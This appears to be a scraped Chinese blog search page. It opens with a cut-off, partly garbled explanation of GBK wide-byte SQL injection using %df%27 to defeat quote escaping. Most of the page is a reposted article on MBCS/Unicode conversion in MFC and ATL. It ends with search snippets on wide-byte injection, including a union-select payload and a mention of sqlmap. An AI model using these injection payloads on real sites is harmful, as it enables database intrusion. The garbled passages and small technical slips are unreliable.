    在这里插入图片描述
    注:其实那个乱码的是希腊字母β

    ② 此时KaTeX parse error: Can't use function '\'' in math mode at position 39: …rs WHERE id='1�\̲'̲' LIMIT 0,1"`,接…sql转为16进制
    (2)将16进制数转为url编码
    (3)这里以GBK(内部操作字符集)进行url解码,执行sql语句
    (4)以character_set_results编码输出结果
    关键参数简单示意图:
    %df%27 浏览器url自动解码===> β\' 转为16进制===> 0xdf0x5c0x27 转换为url编码===> %df%5c%27 进行url解码(因为是GBK编码,%df和%5c结合为汉字)===> 運'

    注:%后面跟16进制数,就表示url编码

    注:在以GBK为编码的mysql中
    %df和%5c才可以结合为汉字,%df和\是无法结合的
    例1:可结合
    注:#注释后面的' LIMIT 0,1
    在这里插入图片描述
    例2:不可结合
    在这里插入图片描述
    \将'转义,使其失去了原本单引号的意义,只是一个没有灵魂的肉体(不能和左边的单引号闭合),因此id后面的第一个单引号就和最后一个单引号闭合了,也使得#注释符也失去了作用,因为''里的内容被视为了字符串。

    参考

    https://blog.csdn.net/u011721501/article/details/42874517
    https://blog.csdn.net/william_munch/article/details/100037244
    https://www.lstazl.com/666-2/

    注:
    URL编码的解码(GBK)
    查看字符编码(简体中文)-----GBK内码查询

    展开全文
  • 多字节与宽字节

    千次阅读 2019-06-15 13:28:00
    字节字符集(MBCS,Multi-ByteChactacterSet):指用多个字节来表示一个字符的字符编码集合。一般英文字母用1Byte,汉语等用2Byte来表示。兼容ASCII127。 在最初的时候,Internet上只有一种字符集——ANSI的...
    • 多字节字符集(MBCS,Multi-Byte Chactacter Set):指用多个字节来表示一个字符的字符编码集合。一般英文字母用1Byte,汉语等用2Byte来表示。兼容ASCII 127。

    在最初的时候,Internet上只有一种字符集——ANSI的ASCII字符集,它使用7 bits来表示一个 字符,总共表示128个字符,其中包括了 英文字母、数字、标点符号等常用字符。

    为了扩充ASCII编码,以用于显示本国的语言,不同的国家和地区制定了不同的标准,由此产生了 GB2312, BIG5, JIS 等各自的编码标准。这些使用 2 个字节来代表一个字符的各种汉字延伸编码方式,称为 ANSI 编码,又称为"MBCS(Muilti-Bytes Charecter Set,多字节字符集)"。

    不同 ANSI 编码之间互不兼容,当信息在国际间交流时,无法将属于两种语言的文字,存储在同一段 ANSI 编码的文本中。一个很大的缺点是,同一个编码值,在不同的编码体系里代表着不同的字。这样就容易造成混乱。导致了unicode码的诞生。

    • 宽字节字符集:一般指Unicode编码的字符集,

    Unicode称为统一码或万国码,统一了不同国家的字符编码。

    Unicode通常用两个字节表示一个字符,原有的英文编码从单字节变成双字节,只需要把高字节全部填为0就可以。

    为了统一所有文字的编码,Unicode应运而生。Unicode把所有语言都统一到一套编码里,这样就不会再有乱码问题了。

    Unicode固然统一了编码方式,但是它的效率不高,比如UCS-4(Unicode的标准之一)规定用4个字节存储一个符号,那么每个英文字母前都必然有三个字节是0,这对存储和传输来说都很耗资源。为了提高Unicode的编码效率,于是就出现了UTF-8编码。UTF-8可以根据不同的符号自动选择编码的长短。比如英文字母可以只用1个字节就够了。

    UTF是“Unicode Transformation Format”的缩写,可以翻译成Unicode字符集转换格式,即怎样将Unicode定义的数字转换成程序数据。用char、char16_t、char32_t分别表示无符号8位整数,无符号16位整数和无符号32位整数。UTF-8、UTF-16、UTF-32分别以char、char16_t、char32_t作为编码单位。(注: char16_t 和 char32_t 是 C++ 11 标准新增的关键字。如果你的编译器不支持 C++ 11 标准,请改用 unsigned short 和 unsigned long。)“汉字”的UTF-8编码需要3个字节。“汉字”的UTF-16编码需要两个char16_t,大小是2个字节。“汉字”的UTF-32编码需要两个char32_t,大小是4个字节。

    普通字符、字符串前加 L 就变成宽字符 wchar_t 存储(用2Byte存1个字符)了,例如,L‘看’,L"abc啊";或_T("sf飞")


    MFC中的 CString 与 std::string 的转换:

    1. 使用Unicode字符集时,CString等价于CStringW;使用多字节字符集时,CString相对于CStringA

    2. CString --> std::string

    // 1. Unicode下 CString --> std::string
    // 方法1
    CString str = L"sdf";
    std::string s = CT2A(str.GetString());
        // GetString()比较新的VS有,旧可以用GetBuffer()
        std::string s = CT2A(str.GetBuffer());
        str.ReleaseBuffer();
    // 方法2
    CString str = L"dshf";
    CStringA stra(str);
    std::string s(stra);
    //或
    std::string s(CStringA(str));
    
    //方法3
    USES_CONVERSION;
    CString str = L"djg";
    std::string s = W2A(str);
    //首先str--》const wchar_t* ,然后W2A将const wchar_t*--》const char*,
    //最后用const char*初始化s
    

     

     3. std::string --> CStringW / std::wstring

    std::string s("dhhh");
    CStringW strw(CStringA(s.c_str());
    std::wstring sw(strw);
    

      


    1)TCHAR 转换为const wchar_t *,直接强制转换,在TCHAR前面加上(*const wchar_t)

    2)BSTR:是一个OLECHAR*类型的Unicode字符串,是一个COM字符串,带长度前缀,与VB有关,没怎么用到过。 

    LPSTR:即 char *,指向以'/0'结尾的8位(单字节)ANSI字符数组指针 

    LPWSTR:即wchar_t *,指向'/0'结尾的16位(双字节)Unicode字符数组指针 

     LPCSTR:即const char * 

     LPCWSTR:即const wchar_t * 

    LPTSTR:LPSTR、LPWSTR两者二选一,取决于是否宏定义了UNICODE或ANSI 

    LPCTSTR: LPCSTR、LPCWSTR两者二选一,取决于是否宏定义了UNICODE或ANSI,

    如下是从MFC库中拷来的:

    #ifdef UNICODE 
    typedef LPWSTR LPTSTR; 
    typedef LPCWSTR LPCTSTR;
    #else 
    typedef LPSTR LPTSTR; 
    typedef LPCSTR LPCTSTR; 
    #endif
    

      

     相互转换方法:

    LPWSTR->LPTSTR:      W2T();
     LPTSTR->LPWSTR:     T2W(); 
    LPCWSTR->LPCSTR:   W2CT();
     LPCSTR->LPCWSTR:   T2CW();
     ANSI->UNICODE:   A2W();
     UNICODE->ANSI:   W2A();

    3)

    LPWSTR转为LPCSTR

    LPCSTR=CW2A(LPWSTR);

     4)

    CString与LPCWSTR的转化(http://www.cnblogs.com/foolboy/archive/2005/07/25/199869.html)

    问题起因: 
        在写WritePrivateProfileString写.ini配置文件时在msdn中看到,如果想要写的配置信息即时生效,必须在之前使用WritePrivateProfileStringW来re-read一下目标.ini文件,其原文如下: 

    // force the system to re-read the mapping into shared memory  
    // so that future invocations of the application will see it  
    //  without the user having to reboot the system  
    WritePrivateProfileStringW( NULL, NULL, NULL, L"appname.ini" );
    

      

        查了一下msdn中WritePrivateProfileStringW的原型如下: 

    WINBASEAPI BOOL WINAPI WritePrivateProfileStringW ( 
     LPCWSTR lpAppName,  //section []中的字符串
     LPCWSTR lpKeyName,  // key  “=”左边的字符串
     LPCWSTR lpString,   //写入的内容
     LPCWSTR lpFileName ) // 配置文件的路径
    例如:
    [section]
    key=string
    

      其中的每个参数的类型都为LPCWSTR,实际中获得的文件名都为CString,问题产生。 

    问题分析:

    LPCWSTR 是Unicode字符串指针,初始化时串有多大,申请空间就有多大,以后存储若超过则出现无法预料的结果,这是它与CString的不同之处。而CString是一个串类,内存空间类会自动管理。LPCWSTR 初始化如下: 

    LPCWSTR Name=L"TestlpCwstr";

        由于LPCWSTR必须指向Unicode的字符串,问题的关键变成了Anis字符与Unicode字符之间的转换,不同编码间的转换,通过查找资料可知,可以ATL中转换宏可以用如下方法实现: 

    //方法一 
    CString str=_T("TestStr"); 
    USES_CONVERSION; 
    LPWSTR pwStr=new wchar_t[str.GetLength()+1]; 
    wcscpy(pwStr,T2W((LPCTSTR)str));
     
    // 方法二 
    CString str=_T("TestStr"); 
    USES_CONVERSION; 
    LPWCSTR pwcStr = A2CW((LPCSTR)str);

      MFC中CString和LPSTR是可以通用,其中A2CW表示(LPCSTR)  -> (LPCWSTR),USER_CONVERSION表示用来定义一些中间变量,在使用ATL的转换宏之前必须定义该语句。 
        顺便也提一下,如果将LPCWSTR转换成CString,那就更加容易,在msdn中的CString类说明中提到了可以直接用LPCWSTR来构造CString,所以可以进行如下的转换代码:   

    LPCWSTR pcwStr = L"TestpwcStr"; 
    CString str(pcwStr);

    问题总结:     
        在头文件<atlconv.h>中定义了ATL提供的所有转换宏,如:    

      A2CW      (LPCSTR)  -> (LPCWSTR) 
      A2W        (LPCSTR)  -> (LPWSTR) 
      W2CA     (LPCWSTR) -> (LPCSTR) 
      W2A        (LPCWSTR) -> (LPSTR)

         所有的宏如下表所示: 

    A2BSTROLE2AT2AW2A
    A2COLEOLE2BSTRT2BSTRW2BSTR
    A2CTOLE2CAT2CAW2CA
    A2CWOLE2CTT2COLEW2COLE
    A2OLEOLE2CWT2CWW2CT
    A2TOLE2TT2OLEW2OLE
    A2WOLE2WT2WW2T

    上表中的宏函数,非常的有规律,每个字母都有确切的含义如下:

    2to 的发音和 2 一样,所以借用来表示“转换为、转换到”的含义。
    AANSI 字符串,也就是 MBCS。
    W、OLE宽字符串,也就是 UNICODE。
    T中间类型T。如果定义了 _UNICODE,则T表示W;如果定义了 _MBCS,则T表示A
    Cconst 的缩写

        利用这些宏,可以快速的进行各种字符间的转换。使用前必须包含头文件,并且申明USER_CONVERSION;使用 ATL 转换宏,由于不用释放临时空间,所以使用起来非常方便。但是考虑到栈空间的尺寸(VC 默认2M),使用时要注意几点: 
        1、只适合于进行短字符串的转换; 
        2、不要试图在一个次数比较多的循环体内进行转换; 
        3、不要试图对字符型文件内容进行转换,因为文件尺寸一般情况下是比较大的; 
        4、对情况 2 和 3,要使用 MultiByteToWideChar() 和 WideCharToMultiByte();

    MultiByteToWideChar() 和 WideCharToMultiByte()的用法:
    www.cnblogs.com/ranjiewen/p/5770639.html

    int MultiByteToWideChar(
      UINT CodePage, //指定执行转换的多字节字符所使用的字符集,CP_ACP:ANSI字符集,CP_UTF8:UTF-8字符集
      DWORD dwFlags, // 一般为NULL
      LPCSTR lpMultiByteStr, // [in] 要被转换的字符指针
      int cchMultiByte,  // lpMultiByteStr指针指向的字符串的长度,若字符串以\0结尾,可简单写为 -1
      LPWSTR lpWideCharStr, //[out] 输出的宽字符串指针
      int cchWideChar  // 指定由参数lpWideCharStr指向的缓冲区的宽字符数。若此值为0,函数不会执行转换,而是返回目标缓存lpWideChatStr所需的宽字符数。
      );
    
    int WideCharToMultiByte(
    UINT CodePage,  //指定执行转换的字符集
    DWORD dwFlags,  // NULL
    LPCWSTR lpWideCharStr, // 待转换的字符串
    int cchWideChar, // 待转换的字符串长度,若以空字符结尾,则可写-1
    LPSTR lpMultiByteStr, // 指向接收被转换字符串的缓冲区
    int cbMultiByte,  // 缓冲区的长度,若为0,函数返回接收的缓冲区的长度
    LPCSTR lpDefaultChar, // NULL
    LPBOOL lpUsedDefaultChar //NULL
    );
    

      

    转载于:https://www.cnblogs.com/htj10/p/11027323.html

    展开全文
  • 宽字节注入讲解

    2020-09-09 08:48:07
    我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃...3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字 二、addslashes()函数 1、addslashes(..
  • 宽字节介绍原理即绕过演示 自己对宽字节的认识和理解,如果有错误望指出,共同学习。 宽字节的介绍 GBK 是占两个字节(也就是名叫宽字节,只要字节大于1的都是) ASCII 占一个字节 PHP中编码为GBK ,函数执行添加的...
  • 宽字节注入详解

    千次阅读 2018-08-11 09:41:19
    我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。如果我们输入%df’看会怎样: 我们可以看到,已经报错了。...
  • 宽字节注入(一)

    2020-07-15 22:02:16
    select * from admin where id='1\' union select -- + ' 而遇到魔术引号这哥函数,我们有2种方法,下面就来介绍宽字节注入 宽字节注入原理 上面我们已经知道了魔术引号的作用了,是将特殊字符前加一个 \ 符号,...
  • utf8 宽字节 mbcs 随意转换 vtString WStringToUTF8(const wchar_t* wstring); vtString2 UTF8ToWString(const char *string_utf8); vtString WStringToMBCS(const wchar_t* wstring); vtString2 MBCSToWString...
  • SQL注入之宽字节注入

    2019-09-01 15:30:24
    宽字节注入简介 背景: 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套...
  • 宽字节注入

    2019-08-24 17:22:34
    〇、预备知识 首先列举几个常用的URL转码的字符 ...宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“cha...
  • c/c++中字节的转换一直是一个琐碎的...1.在windows环境下提供了宽字节与多字节的转换,如下方法: 宽字节->多字节:WideCharToMultiByte char* WcharToChar(const wchar_t* wp) { char *m_char; int len =...
  • 最近在C++编程中经常遇到需要多字节字符与宽字节字符相互转换的问题,一直自己贴那几句代码。觉得麻烦,于是就自己写了一个类来封装wchar_t与char类型间的转换,其他的,诸如:CString\ LPWSTR\TCHAR CHAR\LPSTR之间...
  • 宽字节sql

    2020-04-26 17:30:01
    什么是宽字节 1)GB2312 , GBK ,GB18030等都是常说的宽字节,实际为两字节(所有英文占一个字节,中文占两个字节) 宽字节如何产生的 如何验证是否存在 如何避免宽字节注入 1)用utf-8,避免宽字节注入 2)mysql...
  • 不懂的可以看前面的宽字节注入(一) 先给他写好闭合 %df' -- + 然后抓包 把这个数据包,保存到一个为 321.txt的文件 开始用sqlmap跑类型 跑数据库 下面还可以跑很多参数,我就不一一介绍了。 ...
  • 该程序在VS2008上测试通过,代码可以实现多字节和宽字节字符之间的相互转换。
  • //如果后两位不是英文字符,也不是一个有效的汉字,则后三位是一个汉字多最后一个字节 if (!IsValidEnglishChar(( const unsigned char *)(pszSrc+nNeedLen- 2 )) && !IsGBK(( const unsigned char *)...
  • 学习记录—宽字节注入(手工注入) 注:文章仅用于学术交流,不用于其它用途,不足之处,评论指出,谢谢大佬们 一、概念及原理 宽字节注入其实质就是抓住数据库为非英文编码如gbk,通过传入含特殊字符的sql语句,配合...
  • 宽字节注入攻击可以说是SQL注入的进阶攻击方式,在我之前列出的学习计划体系中,前面的union联合查询注入攻击、布尔盲注、报错注入、时间盲注这几种常见的SQL注入方式,在我之前的博客中已经分析过了,那么今天在...
  • 文章目录一.sql_宽字节注入概念二.sql_宽字节注入源码分析三.sql_宽字节注入演示四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点击这里 2.gbk占用两个字节,ascll占用一...
  • **宽字节注入原理:**所谓的宽字节,实际上就是两字节,在转换编码的过程中,将单字节的编码结合其后的编码看做两字节,即 将两个字符误认为是一个宽字符而解码。 下面结合具体的例子对其说明: 在文件夹相应位置有...
  • SQL注入--宽字节注入

    2020-08-04 12:10:28
    什么是宽字节 当某字符的大小为一个字节时,称其字符为窄字节 当某字符的大小为两个字节时,称其字符为宽字节 所有英文默认占一个字节,汉字占两个字节 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等 ...
  • 当GBK为两个字节编码时, 则第一个字节是(129-254),第二个字节(64-254) MYSQL的字符集转换过程 1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection; 2. 进行内部操作...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 92,935
精华内容 37,174
关键字:

宽字节